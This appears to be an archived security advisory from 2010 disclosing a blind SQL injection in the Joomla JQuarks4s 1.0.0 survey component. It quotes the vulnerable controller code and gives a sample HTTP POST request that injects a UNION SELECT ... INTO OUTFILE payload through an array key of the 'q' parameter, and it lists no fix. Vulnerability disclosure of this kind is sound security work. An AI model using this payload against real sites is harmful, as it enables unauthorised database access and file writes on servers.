what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Joomla JQuarks4s 1.0.0 Blind SQL Injection

Joomla JQuarks4s 1.0.0 Blind SQL Injection
Posted Nov 10, 2010
Authored by Salvatore Fresta

The Joomla JQuarks4s component version 1.0.0 suffers from a remote blind SQL injection vulnerability.

tags | exploit, remote, sql injection
SHA-256 | c25602a381de4c07e2ed2a7ef1bcf5bb57bb32ddfa0d2830c5a1167ad399c106

Joomla JQuarks4s 1.0.0 Blind SQL Injection

Change Mirror Download
JQuarks4s Joomla Component 1.0.0 Blind SQL Injection Vulnerability

Name JQuarks4s
Vendor http://www.iptechinside.com/labs/projects/list_files/jquarks-for-surveys
Versions Affected 1.0.0

Author Salvatore Fresta aka Drosophila
Website http://www.salvatorefresta.net
Contact salvatorefresta [at] gmail [dot] com
Date 2010-11-08

X. INDEX

I. ABOUT THE APPLICATION
II. DESCRIPTION
III. ANALYSIS
IV. SAMPLE CODE
V. FIX


I. ABOUT THE APPLICATION
________________________

A Joomla 1.5 free and open source tool for online surveys
and statistical analysis.


II. DESCRIPTION
_______________

A parameter is not properly sanitised before being used
in a SQL query.


III. ANALYSIS
_____________

Summary:

A) Blind SQL Injection


A) Blind SQL Injection
_______________________

Input passed to the "q" parameter in when "option"
is set to "com_jquarks4s" and "task" to "submitSurvey" is
not properly verified before being used in a SQL query.
This can be exploited to manipulate SQL queries by
injecting arbitrary SQL code.

The following is the vulnerable code (controller.php):


function submitSurvey()
{
// get post data
$data = JRequest::get('post');

...

$questions = $data['q'];
// debug
//var_dump($data);exit;
foreach ($questions as $question_id => $question) :

$type_id = (int)$question['type_id'];

switch ($type_id) :

...

case 4:
// recuperer les row_id du question_id
$rowsDB = $sessionModel->getRows($question_id);


So, $question_id is a key of the array "q" and type_id
his value. Therefore the injection is possibile by
inserting arbitrary SQL code as the key of the array and
4 as his value.


IV. SAMPLE CODE
_______________

A) Blind SQL Injection

Try to send the following packet to your test server.
Ensure that magic_quotes_gpc is set to off in order to
use the following test.


POST /path/index.php HTTP/1.1
Host: target
Content-Type: application x-www-form-urlencoded
Content-Length: 97

option=com_jquarks4s&task=submitSurvey&q[-1 UNION SELECT 0x414141 INTO OUTFILE '/tmp/trycopy' ]=4


Note that if you want to use the '=' character, you must
covert it in URL encode format (%3D), otherwise the value
4 needed for the injection cannot be read.


V. FIX
______

No fix.

Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close